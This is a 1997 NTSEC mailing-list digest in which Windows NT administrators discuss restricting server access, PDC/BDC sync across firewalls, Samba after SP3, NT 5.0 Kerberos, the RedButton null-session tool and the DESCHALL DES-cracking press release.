Well, in this context the answer is yes and no. How's that for ambiguous?

In User Manager for Domains, select an arbitrary user accounts properties. Click the Logon To button. This brings up a dialog which allows you to specify whether a use can log on to any system, or only the specified systems (up to eight). This is quite cumbersome for a large number of users and does not really address the issues you have.

Unfortunately there are a lot of attributes and properties for users which as yet are not exposed or configurable (like disk space quotas) though provisions for them do exist within the OS. Also, as far as I know, you cannot restrict log on permission to specific systems, only users (by configuring the Access this Computer from the Network right in User Manager), again, very cumbersome.

Basically you can acheive a subset of the functionality you are looking for with a lot of work.


-----Original Message-----
From: Gina M. Wheeler [SMTP:gwheeler@uceng.uc.edu]
Sent: Thursday, June 19, 1997 5:47 AM
To: 'ntsecurity@iss.net'
Subject: Re: [NTSEC] controlling access to shared resources with MSWNT4.0+

Am I missing something? I thought that the original message asked if there is
a way to keep people from accessing NT servers UNLESS they were at certain 
designated systems. I know that UNIX can do this. Is there a way that NT can
do this? I also want to keep the students in their DORM rooms from getting
access
to servers that they have access to from a designated lab.

Thanks....


Gina


At 10:35 AM 6/19/97 +0300, Juha Jäykkä wrote:
>> FTP would seem to provide a good mix between allowing students to access
>> their files on one hand, but not being able to use or pirate
>> applications from the lab servers from the comfort of their dorm rooms.
>
> Wait a second.. Am I missing something here (and the original message)
>or why normal SMB sharing is not an option? Give the students access
>only to their home directories - then they will not use any software
>from the server. If students need some of the programs (with no fear of
>exceeding licenses) give them access accordingly. Then give those people
>who may use the licensed programs access to them as you see fit. If
>there is a problem with number of used licenses, just limit the number
>of users per share to equal the number of licenses the program under the
>share has.
>
>-- 
> ---------------------------------------
> | Juha Jäykkä, juolja@utu.fi |
> | Turun yliopisto, ATK-keskus |
> | University of Turku, Computer Centre |
> | työ/office: +358 2 333 5961 |
> ---------------------------------------
>
>

>> From: "Gina M. Wheeler" 
>> Subject: Re: [NTSEC] controlling access to shared resources with MSWNT
 4.0+

>> 
>> Am I missing something? I thought that the original message asked if there is
>> a way to keep people from accessing NT servers UNLESS they were at certain 
>> designated systems. I know that UNIX can do this. Is there a way that NT can
>> do this? I also want to keep the students in their DORM rooms from getting
>> access
>> to servers that they have access to from a designated lab.

No, you're not missing something. Your restatement of the question is
correct. My initial message was apparently unclear. I'll restate:

* I want to install software on lab servers so that I don't have to install
 it on every machine in the lab.

* I want my students to be able to access software on the lab file servers
 when the students are using machines in the lab.

* I want to allow system staff to access the filesystems of the lab file
 servers from a handful of admin machines (i.e., I want to install stuff
 from the client in my office for use by clients in the lab).
 
* I do *not* want anyone on a machine that is not in the lab (or on the
 handful of admin machines) to be able to access the software.

* the lab file servers do not provide home directory service so access
 to home directories is not relevant to this particular question. The
 lab servers are domain controllers and, if I can figure out how to do
 this legally, software package servers.

* I"d *like* to do this with stuff that is a part of the MSWNT v4.0 
 distribution but ...
 
* I suspect that I will need some sort of firewall or proxy software to
 accomplish my goal, which is why I ask this question on the NT Security
 list
 
Does anyone have a solution to share or suggestions of the appropriate
software to investigate?

 David
-- 
David Linn, SEDCON System Manager |INET: drl@vuse.vanderbilt.edu
Vanderbilt University School of Engineering|Phone: [+1] 615-343-6164
Box 3241, Station B |Disclaimer: I have no authority
Nashville, TN, USA 37235 |to speak for anyone but myself.
 "Export crypto, not jobs." - Daniel Lynch
 http://www.vuse.vanderbilt.edu/~drl

 
Microsoft's "Routing & RAS Server" for Windows NT (formerly Steelhead) will 
allow you to configure filters based upon IP addresses. This works very well if 
you are trying to limit access to a server based upon IP address in addition to 
account based access.

ie. An Univeristy lab manager wants to allow access to his server from only 
machines in his department or lab. Students in the lab can access it, but not 
from their dorm rooms.

Routing & RAS will do that very nicely. (No, you're not actually routing, but 
only using the filtering.)
--Robert

-------------------------+------------------------------------------
 Robert Kulp | Academic Computing
 Network Analyst | & Information Services (ACIS)
 Vanderbilt University | Voice : (615) 343-1612
 105 Stevenson Center | Fax : (615) 343-1391
 Nashville, TN 37240 | Email : Robert.Kulp@Vanderbilt.edu
-------------------------+------------------------------------------

In User Manager for Domains, you can specify which Workstations users can 
logon to... as long as they're NT clients. You could even go so far as to 
specify what times they are allowed to logon...


Am I missing something? I thought that the original message asked if there=
 is
a way to keep people from accessing NT servers UNLESS they were at certain=
=20
designated systems. I know that UNIX can do this. Is there a way that NT=
 can
do this? I also want to keep the students in their DORM rooms from getting
access
to servers that they have access to from a designated lab.

Thanks....


Gina


At 10:35 AM 6/19/97 +0300, Juha J=E4ykk=E4 wrote:
>> FTP would seem to provide a good mix between allowing students to access
>> their files on one hand, but not being able to use or pirate
>> applications from the lab servers from the comfort of their dorm rooms.
>
> Wait a second.. Am I missing something here (and the original message)
>or why normal SMB sharing is not an option? Give the students access
>only to their home directories - then they will not use any software
>from the server. If students need some of the programs (with no fear of
>exceeding licenses) give them access accordingly. Then give those people
>who may use the licensed programs access to them as you see fit. If
>there is a problem with number of used licenses, just limit the number
>of users per share to equal the number of licenses the program under the
>share has.
>
>--=20
> ---------------------------------------
> | Juha J=E4ykk=E4, juolja@utu.fi |
> | Turun yliopisto, ATK-keskus |
> | University of Turku, Computer Centre |
> | ty=F6/office: +358 2 333 5961 |
> ---------------------------------------
>
>

> -----Original Message-----
> From: Gina M. Wheeler [SMTP:gwheeler@uceng.uc.edu]
> Sent: Thursday, June 19, 1997 7:47 AM
> To: 'ntsecurity@iss.net'
> Subject: Re: [NTSEC] controlling access to shared resources with
> MSWNT 4.0+
> 
> >Am I missing something? I thought that the original message asked if
> there is
> >a way to keep people from accessing NT servers UNLESS they were at
> certain 
> >designated systems. I know that UNIX can do this. Is there a way
> that NT can
> >do this? I also want to keep the students in their DORM rooms from
> getting
> >access
> >to servers that they have access to from a designated lab.
> 
> Assuming that the dorms are on a different subnet than your servers,
> and you
> have a reasonably intelligent router, couldn't you tell your router
> not to transmit
> packets between the dorms and the servers that you don't want to be
> accessable?
> 
> Mike "Special Agent of Chaos" Swaim
> Work: mpswaim@gdseng.com Home: swaim@phoenix.net
> Disclaimer: I Lie
> 
Ok,

I've installed SP3 AND I've modified the registry with the magic "EnablePlainTextPassword" value (DWORD = 1).

However, I STILL CAN'T MAKE A SAMBA CONNECTION! Everything is working fine under SP2. Does anyone have any ideas what the problem might be? Do we need to change the server side (SAMBA) also?? Essentially, I attempt to make the connection and it just returns "bad password or username" and then prompts me again for the password.

Has anyone resolved this?! Thanks for the help!

- Neil



At 06:30 PM 6/18/97 -0700, you wrote:
>I'm attempting to get a handle on the upcoming Kerberos authentication
>process with NT 5.0. My current understanding is lame, I didn't find any
>information on the MS-Kerberos process at microsoft.com, and the first-pass
>process below may be _way_ off. To see where I'm wrong, I'm bouncing what I
>_think_ happens in NT 5.0/kerberos off the list:
>
>1. User enters username/password/domain information into a kerberos-enabled
>WinLogon process.

Correct.

>2. WinLogon 'hashes' the password, and sends user credentials to the
>kerberos Authentication Service (AS) on an NT server.

Nope, the WinLogon process will call LogonUser() with this info, which in
turn will call the Kerberos Authentication provider in the kernel. If the
machine is a client (not the KDC), then the authentication provider will
send a request for a TGT (Ticket Granting Ticket) to the KDC as per RFC
1510. If preauthentication is required then part of the request for a TGT
will contain a nonce (timestamp) encrypted with the clients secret (the
password turned into a DES, or some other algorithm, key). 

>2. On the server the AS checks for a current session ticket in the Key
>Distribution Center (KDC)/SAM database. If there is no session ticket in
>the database, AS then verifies the user credentials against the database.
>If correct;
> a. The AS Ticket Granting Server (TGS) process creates a Ticket Granting
>Ticket (TGT), which contains user SID information.
> b. TGS stores the TGT in a ticket cache.
> c. TGS DES encrypts the TGT with the (database obtained) client private
>key. (Shared secret key process executed here, not PGP-type public/private
>key process).
> d. TGS creates a session key by time-stamping and DES encrypting the TGT
>with the server private key and client ID.
> e. Server sends both encrypted ticket and session key to client.

No, the server will either create a TGT for the client and send it back to
the requestor, again per RFC 1510, or check the preauthentication by
decrypting the nonce using the requesting user's secret (retrieved from
it's DB) and make sure the timestamp is fresh. If the KDC fails to decrypt
the nonce, or the timestamp is not fresh, then it will not send a TGT back
to the requestor. The TGT is encrypted in the client's secret key
(password), so the client must know it's secret key inorder to use the TGT.
 The reason preauthentication exists is to keep an attacker from requesting
a TGT for a user and attempting to do a dictionary attack to learn the
client's secret key by checking for known plaintext in the TGT. The client
caches the TGT. 

>6. Client time-stamps and again encrypts the server-encrypted session key,
>and returns it as a ticket to the server.
>7. The KDC service decrypts the ticket (first with the shared secret key,
>then with the server secret key), and reads the session key.

When the client wants to communicate with another principal (server,
service, whatever), then it uses the TGT it received and decrypted to ask
the KDC for a service ticket for the corresponding principal. Inside the
TGT is a part that is encrypted in the KDC's secret key which contains
information that the KDC uses to verify that the client is indeed who they
say they are. If the TGT is good, then the KDC creates a service ticket
for the client so they can communicate with the other principal. Inside
the service ticket is a session key encrypted in the client's secret and
the session key and the client's name (amongst other things, refer to RFC
1510) encrypted in the other principal's secret key. The client gets the
service ticket back, decrypts the session key with its key and forwards the
other part to the principal it wants to communicate with. The other
principal then attempts to decrypt the session key and client name. If the
principal can decrypt it, then the principal knows that the session key is
good, because only the KDC and itself know its secret key.

>8. If the session key matches the session key sent to the client, the client
>is authenticated. The TGT by default is good for eight hours.

Now, when the client sends something to the other principal encrypting it
with the session key, then the principal knows that the client is kosher.
When the principal sends something back to the client, the client knows the
principal is kosher (mutual authentication).

>9. The client presents the ticket (TGT) to servers it attempts to access. A
>server recognizes the TGT as from an authenticated client, and the server
>returns an encrypted session ticket (encrypted with the distributed secret
>key) which the client uses to access the desired service.


The client uses the TGT to get service tickets for each server it wants to
communicate with from the KDC. The service tickets contain the session keys
for the client to server communication.

>
>User authority and permissions then continued to be handled as they are now,
>via Local/Global SIDs and ACLs.

Yes, though it is unclear how MS will package the privileges and
authorization information in the tickets etc..

>
>Bill Stout
>____________________________________________________

Dominique Brezinski
----------------------------------------------------
My opinions expressed here, and in any public forum, 
are my own and do not represent those of my employer 
or its clients. I am an individual, and I will 
retain those rights of free speech granted to me, 
regardless of my employment status. 
Sorry to say this was not really a bug, just a Microsoft Folly. This
just comes to show you that Microsoft is becoming brain dead. If one
follows the C2 config especially the recommondation that one sets the
Event logs to NOT over write logs ie. security, then the workstation will
not allow regular users on, only the administrators or equiv. I
understand that it is for security purposes but why in the world will it
not give a message saying it is due to the Event log being full? And why
not say to contact the Admin? I mean if you are a reg users and you can't
log in, why would it hurt to have this message, instead of it just saying
can't login to this machine log on to another.... Oh well just some
thoughts...of how MS just wasted our man time which means wasted our 
money.



I have been attempting to build an IIS 3.0 server that
will eventually be placed directly on the Internet, 
with secure areas that will require an account and
password to use.

The local account database is established and the 
authentication works, but when you attempt to login
to the secure area you are forced to use a username
of the form servername\username in order to access
the area. My marketing people want me to fix it 
so that users don't have type the machine name.

I searched the Microsoft Knowledge Base and found
Q168908 which told me how to go to
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Service\W3SVC\Paramaters
and set a value DefaultLogonDomain to \\computername.
So I did this. But it doesn't work. Users still have 
to add the servername part of the username to get in.

Could any of my problems be related to SP3 and all
of the new security fixes?

Thanks in advance. Any assistance is appreciated.

-----------------------------------------------------

Mike Gresham msgresha@veribest.com
VeriBest, Inc.
6101 Lookout Rd.
Boulder CO 80301

 C programmer code. C program crash. C programmer oo crazy.
At 08:28 AM 6/19/97 -0700, Sean Mathias wrote:

>Well, in this context the answer is yes and no. How's that for
ambiguous?

>

>In User Manager for Domains, select an arbitrary user accounts
properties. Click the Logon To button. This brings up a dialog which
allows you to specify whether a use can log on to any system, or only the
specified systems (up to eight). This is quite cumbersome for a large
number of users and does not really address the issues you have.


It is interesting to note that this workstation restriction is based off
of the NetBIOS computer name, which is trivial to spoof. *Hobbit* pointed
this out quite nicely in his paper "CIFS: Common Insecurities
Fail Scrutiny" published to the net in January 97. So, this restrictive
mechanism will offer you very little in the way of security towards a
dedicated attacker.



Dominique Brezinski

----------------------------------------------------

My opinions expressed here, and in any public forum, 

are my own and do not represent those of my employer 

or its clients. I am an individual, and I will 

retain those rights of free speech granted to me, 

regardless of my employment status. 

I did this setup just recently - PDC and BDC sitting on separate subnets 
with a couple routers in between. At first I tried enabling tcp 139 from 
the PDC to the BDC with the ACK bit set on the routers. NetLogon syncs 
work just fine for the first two hours. All updates flowed from the PDC to 
the BDC, and users we able to get authenticated directly by the BDC. Two 
hours later, the communications stopped. The BDC needs to initiate 
communication to the PDC, but the smb session with the PDC shuts down after 
a set period of time (I'm trying to identify this period of time and how to 
change it). The only way to allow this communication to work is to allow 
tcp 139 both directions. 137is not needed if you're using LMHOSTS. I 
thought udp 138 would be needed, but it the tcp 139 alone worked just fine. 
 I'm working on writing a white paper describing just this situation and 
what is needed during the Netlogon and BDC/PDC sync process (leveraging 
info provided on Technet and from TechEd).

-----Original Message-----
From: Barry Koblenz [SMTP:bkoblenz@adm.schoolofvisualarts.edu]
Sent: Wednesday, June 18, 1997 2:54 PM
To: ntsecurity@iss.net
Subject: [NTSEC] PDC->BDC SAM Synchronization

I hope someone can offer a potential solution to a rather vexing problem 
(NTS 4.0 SP2). How can I synchronize a PDC w/ a BDC based on the 
following scenario?

We have a firewall. The PDC sits inside on one subnet.

The BDC/Web/ftp server resides outside the firewall, exposed to the 
internet (I will ultimately make it _just_ Web & ftp), & on a different 
subnet.

DNS resides on a separate Unix box.

I can browse PDC-BDC because I set up an Lmhosts file on each machine. But 
SAMs are not being updated because our firewall admin does not wish to open 
_any_ ports (137-139) on the firewall. He is very concerned about Netbios 
scanners & TMHs (Truly Malicious Hackers). He has configured the firewall 
to only allow one-way communication to take place. IE, from inside the i 
nternet domain to outside (PDC->BDC). Even if I demote the BDC into a 
simple Web/ftp server, it will, as I understand it, still need to check 
ACLs against the PDC. Which means that there must be two way communication.

What about ssh/f-secure or some other encryption scheme? Does the firewall 
admin need to open those ports regardless? Would such be related to what 
 PPTP does?

I have scoured the Microsoft site, the resource guides, et al, but all to 
no avail. Both machines saw each other during testing when they were on the 
same LAN, so their SID's are locked together; they were also on the same 
subnet .

I am grateful for any help.

-Barry Koblenz



__________________________________________________________________
Barry Koblenz (bkoblenz@adm.schoolofvisualarts.edu)
Systems Administrator, MFA PHOTO, School of Visual Arts
Tel (212)592-2364 Fax (212)592-2368
Check out our Website at http://mfaphoto.schoolofvisualarts.edu
__________________________________________________________________


You may enable port filtering on RAS connections when using Steelhead 
(Routing and Remote Access Services). This will enable you to allow logon 
authentication or other services to just the local server, and allow you to 
pass selected services to the NIC card and the internal network. Steelhead 
takes the advanced security features of NT's built-in routing and adds to 
it the ability to do filtering on the RAS connection. (this is only one 
feature of Steelhead.)

Hope this helps

--eric

-----Original Message-----
From: Michael Dunphy [SMTP:michael@flexicom.ie]
Sent: Thursday, June 19, 1997 3:07 AM
To: 'ntsecurity-digest@iss.net'
Subject: [NTSEC] Windows NT 4.0 Security Question

Hi all,

>To those of you who are familiar with the book called "Windows NT
>Security Handbook, Everything You Need to Know to Protect Your
>Network.", by Tom Sheldon I have a question about chapter 18, section
>"Windows NT Home-grown Firewalls" page 489, the author discusses the
RAS method of connection your LAN to the internet. Basically routing
will be turned off on the dual-homed system and inbound connections can
>be controlled by using TCP/IP advanced security (i.e permitting access
>at the port level).
>
>This is the security method we'll like to use as we dial-up to our ISP.
>Unfortunately, this security feature only applies to physical adapters
>(our system obviously only has one network adapter) and you can't
>select the Remote Access WAN Wrapper adapter which relates to the
dial-up. Whereas the book seems to suggest that you can stop inbound
connection from the Internet over a dial-up connection. Therefore with a
>dial-up connection to the internet how can we provide this level of
>security??

To following on from this, as routing will be turned off we'll use the
>MS proxy server for internal access to the internet. Reading the proxy
documents it mentions that you can restrict inbound connection. Below is
>a newsgroups article, confirming this:

Subject: Re: Does proxy disable my web server?
From: "Mike Derrberry" 
Date: 1997/05/15
Message-Id: <01bc6141$0da99f80$6c36369d@stumpjumper2>
Newsgroups: microsoft.public.proxy
[More Headers]

MS Proxy 1.0, by default, turns off access to inbound connections
(Internet
connections). To enable your web server (must be on the same box as
proxy),
from within Web Proxy service properties\Services Tab. Turn on "Enable
Internet Publishing". This will open port 80 so that Internet clients
can
hit your website.
--
Mike Derrberry
Microsoft Corporation
mikeder@microsoft.com

Brent Pranger wrote in article
<#dMm8LIY8GA.141@uppssnewspub04.moswest.msn.net>...
> Does proxy server disable my webserver to the outside world? I have it
> running on our office's server. The proxy works, the intranet works, but
> when I try to access the WWW server on the proxy machine from the
internet,
> I get "The Server Returned an Invalid or Unrecognized Response"
>
> Any ideas?
>
> Thanks,
> Brent

Does anybody know exactly what this mean? Is it that the restrict of
inbound connections is at the service/application level (not the TCP/IP
level)? Is it that no connection is established due to the fact that no
program is listening on the various ports??

Sorry for the long post but if anybody can help I'd appreciated it very
much. The idea situation is if we could restrict access at the protocol
level, so that we can deny all and then turn on access to specific
port/applications.


Thanks for any replies or emails

Michael Dunphy


>

An open letter to Andy Baron at MWC, or Omna, or ntsecurity.com, or whatever
you call it this week -- and all that would follow in his footsteps:

I started composing this over a month ago and it is already a tad out of date,
but most of the comments herein are still quite relevant. After the release of
RedButton, I [and probably countless other readers] went off to try it. The
first problem I ran into is that while you have a keyboard shortcut for most
things as is proper for such graphic apps, you don't have one for the BUTTON
itself! Since I usually don't use a rodent, this was a serious obstacle for a
while until I convinced NT to get the appropriate driver loaded. Most apps
would allow one to tab to the button and hit ...

The graphics are ... well ... interesting. Makes me want to run right out
and get a bowling ball to add to my security toolkit.

Along the way I took packet dumps, and received additional ones from some
colleagues. I have been reviewing these off and on since, attempting to
figure out what it's really doing. David LeBlanc's comments about LANMAN
backward-compatibility bypassing big chunks of NT security helped quite a bit
here, although personally I am still almost completely in the dark about
LANMAN pipe calls. [Which I've been trying to read up about in info from
the MS site ... Who on *earth* designed that protocol, anyways...] It is
nonetheless clear that Microsoft has some work to do, or undo, or whatever.
That ol' legacy stuff is biting them hard.

Here are some other details and questions from my notes, which are still
quite sketchy.

If Redbutton is talking to something less than NT LM, such as a Samba server
[well, I *had* to try it!], it does a regular old TCon to IPC$ followed by
various OpenAndX attempts to things like \PIPE\samr, \PIPE\srvsvc, and
\PIPE\winreg. To dump the share-list, a regular old \PIPE\LANMAN share-enum
transaction is issued which *does* hand out the list if Samba is appropriately
configured. In this case Redbutton was only able to see IPC$ and one defined
public share, and Samba can easily keep Redbutton out completely by not
allowing any guest sessions at all. Errors are returned on the other
transactions, since Samba doesn't support those services. 

We know that adding an entry for "winreg" under ...whatever\SecurePipeServers
helps block access to remote REGEDIT. Could adding entries for some of those
other observed names -- samr, lsarpc, srvsvc, lsass, ntsvcs, maybe even LANMAN
 -- help restrict the other corresponding services? [Haven't actually tried
yet myself, having no really good controllable way available to test it.]

Clearly, I'm only scratching the surface here, and haven't managed to dig into
the actual Transaction contents yet. The underlying null-session problem has
been discussed into the ground by now, but is apparently only a first step
toward a larger picture. Would you therefore consider providing the community
with more details on the innards of some of those services you're tickling,
like "samr", "lsass", "srvsvc", and our ol' friend "winreg"? Or at least
provide some references where we can freely read up on same? Or is all this
just being done through calling those big hairy NT library functions without
regard to knowing what the full deal is??

David LeBlanc has already taken you to task for this issue: you provide no
source code, and no *real* information about what the program is doing. This
prompted me to spend time reviewing the dumps to see what additional details I
could glean on my own. I think I speak for many of us when I submit that your
approach does *not* properly demonstrate a security hole. Instead, it forces
some of us to spend significantly more time trying to reverse-engineer YOUR
tool instead of concentrating on NT itself as we should. Offering a big
binary with little or no comment is arguably questionable practice, and you
could save me and probably several other people a lot of time by explaining
what's going on. It seems likely that you guys have source code for NT, or at
least a whole lot of prior SMB and LANMAN knowledge, which obviously makes
your task much easier. Please refrain from using such advantages to make
*OUR* lives more difficult. If you are going to participate in this forum,
you should be helping the rest of us learn instead of simply trying to stir up
a media tizz and inflate your own bottom line. By promulgating more
obscurity, you do no better than our northwestern pals.

What, by the way, is the significance of "AYN"? It shows up both in the
program and the SMB requests.

_H*

Would someone please provide (or point the way to) a *concise*, definitive 
explanation of how default user info & user profiles are used at the server 
and workstation level to create the settings for a new user ? What 
information/settings, if any, from the server are used to build a new user 
profile?

We are trying to determine whether an install problem is related to the 
product itself, or to default settings / profile info that may have been 
created based on the product's settings on the NT server.
Kris Carlier wrote:
> 
> Chris,
> 
> On Wed, 18 Jun 1997, Chris Plunkett wrote:
> 
> > NAT, as done by a router, will go through every packet and rewrite
> > the source and destination addresses of every packet going through
> 
> I thought it would only change the source IP address and source PORT.
> Why
> should the destination IP be changed ? heck, that's what it's destined
> for... The IP-address is its own. Multiple addresses are only required
> if
> you need to provide access to different machines/services behind the
> NAT,
> no ? The source port becomes one of its own, so > 1023. This is the
> key
> for the table... where you should find the NAT's source port, the
> requester's IP-address and source-port.
> 
> In the reply, the destination port is crucial, as it will be the key
> to
> lookup the NAT.
> 
Your right, my mistake.

> > No packets are actually sent directly from the client to the outside
> > server. All packet to the outside server are sent from the proxy
> 
> And, according to you, how is this done by a NAT ? Source IP and
> source
> port are changed.
> 
> > This is not what a router doing NAT does. IT routes the packet,
> > rewriting the addresses in the header.
> 
> So, a caching proxy is at the application level, and supports a
> predefined
> number of applications (what does the MS Proxy support ? http, gopher,
> ftp, socks, wais, SSL ?) I presume the MS proxy doesn't support ICP ?
dunno what ICP is.

I've also been told that using the winsock proxy, MS proxy server
will act like a router doing NAT. Dunno why you would use the
winsock proxy if the clients have IP stacks, but someone might
have a reason. And if you were using the winsock proxy with an
IPX or netbuie client, it doesn't have an IP address to start.

A caching proxy would pretty much have to be at the application level,
I would think. And it is generally written to support whatever 
application it is meant to proxy (there are exceptions, but I don't
beleive they do any caching).

One thing if interest is that I have heard of applications writing
IP addresses within the data portion of packets. This creates an
awfull lot of fun to figure out any address translation / proxy
methods.
-- 
------------------------------------------------------------
Chris Plunkett System Technician
Breakwater Technologies Inc.
phone:(425)803-5002x112 Fax:(425)803-5001
http://www.breakwater.net mailto:chris@breakwater.net
David R. Linn wrote:

> * I want to install software on lab servers so that I don't have to
> install
> it on every machine in the lab.

One of the problems (design features??) of NT is the windows software
really needs to be installed on each machine. You have to consider the
changes that a setup routine will do to the registry (most likely HKLM)
that would not be seen on client machines if installs are done on
servers only. You also would want any DLLs or OCXs to be on the client
machines, since accessing them across the network would be most
unpleasant IMHO, as well requiring the client machines to have one of
the servers %SystemRoot%\system32 directory included in their path.

> * I want my students to be able to access software on the lab file
> servers
> when the students are using machines in the lab.
>
> * I want to allow system staff to access the filesystems of the lab
> file
> servers from a handful of admin machines (i.e., I want to install
> stuff
> from the client in my office for use by clients in the lab).
>
> * I do *not* want anyone on a machine that is not in the lab (or on
> the
> handful of admin machines) to be able to access the software.
>
> * the lab file servers do not provide home directory service so access
>
> to home directories is not relevant to this particular question.
> The
> lab servers are domain controllers and, if I can figure out how to
> do
> this legally, software package servers.
>
> * I"d *like* to do this with stuff that is a part of the MSWNT v4.0
> distribution but ...
>
> * I suspect that I will need some sort of firewall or proxy software
> to
> accomplish my goal, which is why I ask this question on the NT
> Security
> list
>
> Does anyone have a solution to share or suggestions of the appropriate
>
> software to investigate?
>
> David
> --
> David Linn, SEDCON System Manager |INET:
> drl@vuse.vanderbilt.edu
> Vanderbilt University School of Engineering|Phone: [+1] 615-343-6164
> Box 3241, Station B |Disclaimer: I have no
> authority
> Nashville, TN, USA 37235 |to speak for anyone but
> myself.
> "Export crypto, not jobs." - Daniel Lynch
> http://www.vuse.vanderbilt.edu/~drl
>


Check that you have followed the instructions correctly, it has
worked for me multiple times first go!

> -----Original Message-----
> From: Neil A. Kirr [SMTP:nkirr@uu.net]
> Sent: Friday, June 20, 1997 4:05 AM
> To: NT Security (E-mail)
> Subject: [NTSEC] SAMBA + SP3
> 
> Ok,
> 
> I've installed SP3 AND I've modified the registry with the magic
> "EnablePlainTextPassword" value (DWORD = 1).
> 
> However, I STILL CAN'T MAKE A SAMBA CONNECTION! Everything is working
> fine under SP2. Does anyone have any ideas what the problem might be?
> Do we need to change the server side (SAMBA) also?? Essentially, I
> attempt to make the connection and it just returns "bad password or
> username" and then prompts me again for the password.
> 
> Has anyone resolved this?! Thanks for the help!
> 
> - Neil
> 
> 
If anyone would care to offer their wisdom regarding the combination of a
pipe 130 with firewall (frac T1 frame relay) and MS Proxy I'd be happy to
listen. This proposed implementation is for a site of <100 end users.

Thanks!

We had to do this as well. Make it a stand alone server. With those NB
ports closed down, you won't be able to manage it remotely anyway. The
best bet is to also shutdown any non web or ftp based services on the
box (another mail recently had a pretty thorough list) to make your web
and ftp server completely non-hackable, as best you can.

Also, make sure you have SP3 and hotfixes applied, and are using the
latest version of IIS 3.0 to get around malicious telnet denial of
services. Also, rename the Administrator account to something else (like
"brainiac" or "gobsmakker" or whatever) and make the administrator
password *hard* by using the guidelines on any of the major NT security
sites (basically 14 chars + unusual ALT sequences). 

If a server is standalone (an install time option), you authenticate
with your self. It works fine. It's safe too as your SAM is not on the
outside of the firewall. 

Andrew van der Stock (03) 9342 8278
Information Services mailto:andrew.vanderstock@whcn.org.au
Western Health Care Network GPO Box 341C Melbourne 3001


 -----Original Message-----
 From: Barry Koblenz [SMTP:bkoblenz@adm.schoolofvisualarts.edu]
 Sent: Thursday, June 19, 1997 7:54 AM
 To: ntsecurity@iss.net
 Subject: [NTSEC] PDC->BDC SAM Synchronization

 I hope someone can offer a potential solution to a rather vexing
problem (NTS 4.0 SP2). How can I synchronize a PDC w/ a BDC based on
the following scenario?

 We have a firewall. The PDC sits inside on one subnet.

 The BDC/Web/ftp server resides outside the firewall, exposed to
the internet (I will ultimately make it _just_ Web & ftp), & on a
different subnet.

 DNS resides on a separate Unix box.

 I can browse PDC-BDC because I set up an Lmhosts file on each
machine. But SAMs are not being updated because our firewall admin does
not wish to open _any_ ports (137-139) on the firewall. He is very
concerned about Netbios scanners & TMHs (Truly Malicious Hackers). He
has configured the firewall to only allow one-way communication to take
place. IE, from inside the internet domain to outside (PDC->BDC). Even
if I demote the BDC into a simple Web/ftp server, it will, as I
understand it, still need to check ACLs against the PDC. Which means
that there must be two way communication.

 What about ssh/f-secure or some other encryption scheme? Does
the firewall admin need to open those ports regardless? Would such be
related to what PPTP does? 

 I have scoured the Microsoft site, the resource guides, et al,
but all to no avail. Both machines saw each other during testing when
they were on the same LAN, so their SID's are locked together; they were
also on the same subnet .

 I am grateful for any help.

 -Barry Koblenz




__________________________________________________________________
 Barry Koblenz (bkoblenz@adm.schoolofvisualarts.edu)
 Systems Administrator, MFA PHOTO, School of Visual Arts 
 Tel (212)592-2364 Fax (212)592-2368
 Check out our Website at
http://mfaphoto.schoolofvisualarts.edu

__________________________________________________________________

You need to check Microsoft's Knowledgebase at http://microsoft.com/kb.

--
Joel W. Barrett, Internetworking Consultant
RPM Associates, Inc. http://www.rpm.com
email: jbarrett@rpm.com, pager: 888-602-4566
http://www.mindspring.com/~cnebody (12/17/96)
Do Something Digital!



-----Original Message-----
From: pat metzger [SMTP:metzger@arch.Buffalo.EDU]
Sent: Thursday, June 19, 1997 11:52 AM
To: ntsecurity@iss.net
Subject: 

Is there a preferred resource that gives good specifics for security issues
related to creating limited access to WWW recources where NT is set-up
specifically as a web-server; or, is there some individual direction that
might point me in the right direction on this issue?

------- Forwarded Message Follows -------
From: Rocke Verser 
To: "deschall@gatekeeper.megasoft.com" 
Subject: DESCHALL Press Release
Date: Wed, 18 Jun 1997 21:09:11 +0100

 INTERNET-LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD

 LOVELAND, COLORADO (June 18, 1997). Tens of thousands of
computers, all across the U.S. and Canada, linked together via the
Internet in an unprecedented cooperative supercomputing effort to
decrypt a message encoded with the government-endorsed Data Encryption
Standard (DES).

 Responding to a challenge, including a prize of $10,000, offered by
RSA Data Security, Inc, the DESCHALL effort successfully decoded
RSADSI's secret message.

 According to Rocke Verser, a contract programmer and consultant who
developed the specialized software in his spare time, "Tens of thousands
of computers worked cooperatively on the challenge in what is believed
to be one of the largest supercomputing efforts ever undertaken outside
of government."

 Using a technique called "brute-force", computers participating in
the challenge simply began trying every possible decryption key. There
are over 72 quadrillion keys (72,057,594,037,927,936). At the time the
winning key was reported to RSADSI, the DESCHALL effort had searched
almost 25% of the total. At its peak over the recent weekend, the
DESCHALL effort was testing 7 billion keys per second.

 Verser considers this project to be remarkable in two ways:

 One. This is the first time anyone has publicly shown that they
can read a message encrypted with DES. And this was done with "spare"
CPU time, mostly from ordinary PCs, by thousands of users who have never
even met each other. U.S. government and industry will have to take a
hard look at their cryptographic policies. "DES can no longer be
considered secure against a determined adversary", Verser said.

 Two. This project demonstrates the kind of supercomputing power
that can be harnessed on the Internet using nothing but "spare" CPU
time. "Imagine what might be possible using millions of computers
connected to the Internet!" Aside from cryptography and other obvious
mathematical uses, supercomputers are used in many fields of science.
"Perhaps a cure for cancer is lurking on the Internet?", said Verser,
"Or perhaps the Internet will become Everyman's supercomputer."


 Under current U.S. government export regulations, and underscoring
a problem faced by the U.S. software industry, the program that searched
the keys could not be exported, except to Canada. A competitive effort,
based in Sweden, sprang up well after the DESCHALL effort began. Able
to "market" their keysearch software around the world, the Swedish
effort caught up quickly, and had searched nearly 10 quadrillion keys by
the end of the contest.

 ------------------------------------

 Verser agrees with the sentiment voiced in RSADSI's secret message:
"Strong cryptography makes the world a safer place."

 Use of strong cryptography, both domestically and internationally,
is essential in today's electronic world. "But not at the expense of a
citizen's right to privacy." Verser adds, "Recent proposals for
'key-recovery' and for criminalization of the use of cryptography have no
place in a free society."


 Information about the DESCHALL effort is available from the
official DESCHALL Web site at: 



MEDIA CONTACTS:
 Matt Curtin, (908) 431-5300 x 295, 

ALTERNATE:
 Rocke Verser, (970) 663-5629, 

ALTERNATE:
 Justin Dolske, (614) 459-5194, 

 - 30 -






 INTERNET LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD
 Background / Sidebar, for Release dated June 18, 1997

